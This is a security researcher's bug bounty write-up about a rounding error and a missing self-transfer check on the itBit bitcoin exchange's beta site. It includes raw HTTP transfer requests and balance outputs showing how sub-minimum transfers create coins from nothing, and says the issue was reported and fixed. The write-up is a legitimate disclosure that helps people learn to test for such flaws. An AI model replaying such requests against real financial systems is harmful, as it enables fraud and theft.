#MakeMoney "button" on bitcoin exchange


Every time I test money-related system, I am very interested not only in common issues from OWASP TOP-10: injection, XSS, IDOR and so on, but also business logic issues and issues in math. Here is a shortlist what have been found in some applications:

  • race condition

  • transfer from RUB account to USD account with one to one exchange rate

  • round issues

  • and many many others

But it is one case to talk about something in theory:
- Attention! Race condition in theory might lead to day's transfer limit bypass!

Cool… but it isn't interesting at all.

And absolutely other case, when explain step-by-step, what, how and why follows one another and show the result.
And today i will show you real example.

At the late September of 2016 i got an email:

Hello Hackers,
We are reaching out to everyone that has worked on the itBit exchange to notify you of some changes in our bug bounty program. We have increased payouts for vulnerabilities submitted to our platform. ($100-$2000+) If you have not tested the exchange in a while we would welcome you to come back again and review our new payouts and get hunting for new bugs!

Payouts increased? - Well done!
Did you test this system long time ago? - Your truth.

The time has come.

Application provides users with opportunity to create as many wallet as they want. An it's useful: on the car, on the flat, on everyday spending.

Pre-requirements:

  • attacker has two accounts/wallets

  • at least one of them are funded

Start balances are:

account1 XBT - 100000.00000006
account2 XBT - 0

To be honest there were some problems - they had an issue with the on boarding flow in the beta environment. This issue has been resolved on the middle of the October. Two test accounts was ready and fake funded.

Transfer 0.00000001 from account1 to account2 for test:

account1 XBT - 100000.00000005
account2 XBT - 0.00000001


Math's magic begins.

Transfer 0.000000005 (which is less then minimum 0.00000001) from account1 to account2:

account1 XBT - 100000.00000005 <- source account balance does not change(!)
account2 XBT - 0.00000002 <- but target account balance does (!)


Transfer 0.00000002 from account2 to account1 for test that this amount is real and we can operate with it:

account1 XBT - 100000.00000007 - bingo!
account2 XBT - 0.00000000


As a result attacker produces 0.00000001 XBT for free at all. Moreover there is no restriction on inner transactions such as:

  • number per day

  • one time password

  • and so on

So attacker can do as many transfers as he wants. I just hoped that they had some fraud control and this vector will fall on withdraw stage for example.

The End? No!

While fix was in progress i found that there is a business-logic issue additionally to math's bug.

There is no restriction to transfer from account1 to... account1 - or self transfer. It looks like:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.00000001"}

This request produces no result -> balance does not change.

But if attacker adds previous vector with round error behaviour becomes very interesting. Balance before attack:

{"currencyCode":"XBT","balance":100000.00000007,"available":100000.00000007,"onDeposit":0}

Attack:

PUT /api/user/accounts/transfer HTTP/1.1
Host: beta.itbit.com

{"name":"Default Wallet Name","bitcoinAddress":"","allBitcoinAddresses":[],"id":"transfer","sourceaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","sourcepwd":"","targetaccount":"f1e0dd44-0e7c-4446-93ef-384c87ee2766","targetpwd":"","currency":"XBT","amount":"0.000000005"}

Balance after attack:

{"currencyCode":"XBT","balance":100000.00000008,"available":100000.00000008,"onDeposit":0}

So:

  • application gets amount 0.000000005

  • round it down to 0.00000000 and subtract from source balance - balance does not change

  • does not check that source and target balances are the same

  • round up amount to 0.000000001 and add to target balance - balance changes and 0.000000001 appears from nothing

This additional info has also been reported. Issue has been fixed week later.

Remember! Application works the way you wrote it, not the way you want it to work! :)